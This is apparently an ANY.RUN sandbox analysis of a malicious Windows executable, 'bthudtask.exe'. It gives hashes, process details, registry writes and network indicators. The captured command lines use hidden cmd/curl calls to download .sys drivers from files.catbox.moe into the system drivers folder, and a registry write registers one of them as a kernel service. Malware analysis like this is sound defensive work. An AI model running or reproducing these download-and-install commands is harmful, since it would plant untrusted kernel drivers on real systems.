| File name: | bthudtask.exe |
| Full analysis: | https://app.any.run/tasks/a3579c1b-1d16-4c92-8ff6-a991677eaacf |
| Verdict: | Malicious activity |
| Analysis date: | July 17, 2025, 22:02:30 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (console) x86-64, for MS Windows, 6 sections |
| MD5: | 5AF0C9F54D5F1F4F00DEC8BAA58C30B6 |
| SHA1: | D1A8BFA9761E7CDD689E7669BF6190C71EC295D8 |
| SHA256: | D12344B5B3791326D376B1B06825F47989B7E60C18D133CAB973BB011C1DE29B |
| SSDEEP: | 12288:bajSJIpfBHxdTr0IYSqXKfkhQc+79n7G:WjSCpZHxdTvfYZ+79nK |
MALICIOUS
No malicious indicators.SUSPICIOUS
Execution of CURL command
- bthudtask.exe (PID: 2580)
Starts CMD.EXE for commands execution
- bthudtask.exe (PID: 2580)
Hides command output
- cmd.exe (PID: 768)
- cmd.exe (PID: 5288)
- cmd.exe (PID: 5952)
Creates or modifies Windows services
- bthudtask.exe (PID: 2580)
INFO
Checks supported languages
- bthudtask.exe (PID: 2580)
- curl.exe (PID: 3876)
- curl.exe (PID: 4160)
- curl.exe (PID: 1164)
Execution of CURL command
- cmd.exe (PID: 768)
- cmd.exe (PID: 5288)
- cmd.exe (PID: 5952)
Reads the computer name
- curl.exe (PID: 3876)
- curl.exe (PID: 4160)
- curl.exe (PID: 1164)
- bthudtask.exe (PID: 2580)
Checks proxy server information
- slui.exe (PID: 6004)
Reads the software policy settings
- slui.exe (PID: 6004)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
EXIF
EXE
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:07:13 23:23:51+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.44 |
| CodeSize: | 385536 |
| InitializedDataSize: | 97280 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x5d008 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows command line |
Total processes
144
Monitored processes
12
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 768 | C:\WINDOWS\system32\cmd.exe /c curl -s https://files.catbox.moe/c4jioo.sys -o C:\Windows\System32\drivers\XboxGips.sys >nul 2>&1 | C:\Windows\System32\cmd.exe | — | bthudtask.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 35 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1164 | curl -s https://files.catbox.moe/p31bkw.ttf -o C:\Sora-VariableFont_wght.ttf | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: HIGH Description: The curl executable Exit code: 35 Version: 8.4.0 Modules
| |||||||||||||||
| 1740 | C:\WINDOWS\system32\cmd.exe /c cls | C:\Windows\System32\cmd.exe | — | bthudtask.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2140 | "C:\Users\admin\Desktop\bthudtask.exe" | C:\Users\admin\Desktop\bthudtask.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
| 2580 | "C:\Users\admin\Desktop\bthudtask.exe" | C:\Users\admin\Desktop\bthudtask.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: HIGH Modules
| |||||||||||||||
| 2704 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | bthudtask.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3876 | curl -s https://files.catbox.moe/c4jioo.sys -o C:\Windows\System32\drivers\XboxGips.sys | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: HIGH Description: The curl executable Exit code: 35 Version: 8.4.0 Modules
| |||||||||||||||
| 4160 | curl -s https://files.catbox.moe/p7bc6t.sys -o C:\Windows\System32\drivers\PdFwKrnl.sys | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: HIGH Description: The curl executable Exit code: 35 Version: 8.4.0 Modules
| |||||||||||||||
| 5288 | C:\WINDOWS\system32\cmd.exe /c curl -s https://files.catbox.moe/p7bc6t.sys -o C:\Windows\System32\drivers\PdFwKrnl.sys >nul 2>&1 | C:\Windows\System32\cmd.exe | — | bthudtask.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 35 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5952 | C:\WINDOWS\system32\cmd.exe /c curl -s https://files.catbox.moe/p31bkw.ttf -o C:\Sora-VariableFont_wght.ttf >nul 2>&1 | C:\Windows\System32\cmd.exe | — | bthudtask.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 35 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
4 452
Read events
4 448
Write events
4
Delete events
0
Modification events
| (PID) Process: | (2580) bthudtask.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PdFwKrnl |
| Operation: | write | Name: | Type |
Value: 1 | |||
| (PID) Process: | (2580) bthudtask.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PdFwKrnl |
| Operation: | write | Name: | ErrorControl |
Value: 3 | |||
| (PID) Process: | (2580) bthudtask.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PdFwKrnl |
| Operation: | write | Name: | Start |
Value: 3 | |||
| (PID) Process: | (2580) bthudtask.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PdFwKrnl |
| Operation: | write | Name: | ImagePath |
Value: \??\C:\Windows\System32\drivers\PdFwKrnl.sys | |||
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0
Dropped files
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
26
DNS requests
9
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1268 | svchost.exe | GET | 200 | 23.55.110.211:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 23.55.110.211:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4544 | RUXIMICS.exe | GET | 200 | 23.55.110.211:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4544 | RUXIMICS.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
2940 | svchost.exe | GET | 200 | 72.246.169.163:80 | http://x1.c.lencr.org/ | unknown | — | — | whitelisted |
— | — | POST | 500 | 20.83.72.98:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1268 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4544 | RUXIMICS.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
3876 | curl.exe | 108.181.20.35:443 | files.catbox.moe | TELUS Communications | CA | malicious |
4160 | curl.exe | 108.181.20.35:443 | files.catbox.moe | TELUS Communications | CA | malicious |
1164 | curl.exe | 108.181.20.35:443 | files.catbox.moe | TELUS Communications | CA | malicious |
1268 | svchost.exe | 23.55.110.211:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5944 | MoUsoCoreWorker.exe | 23.55.110.211:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
files.catbox.moe |
| malicious |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
x1.c.lencr.org |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3876 | curl.exe | Potentially Bad Traffic | ET INFO Observed File Sharing Service Download Domain (files .catbox .moe in TLS SNI) |
4160 | curl.exe | Potentially Bad Traffic | ET INFO Observed File Sharing Service Download Domain (files .catbox .moe in TLS SNI) |
1164 | curl.exe | Potentially Bad Traffic | ET INFO Observed File Sharing Service Download Domain (files .catbox .moe in TLS SNI) |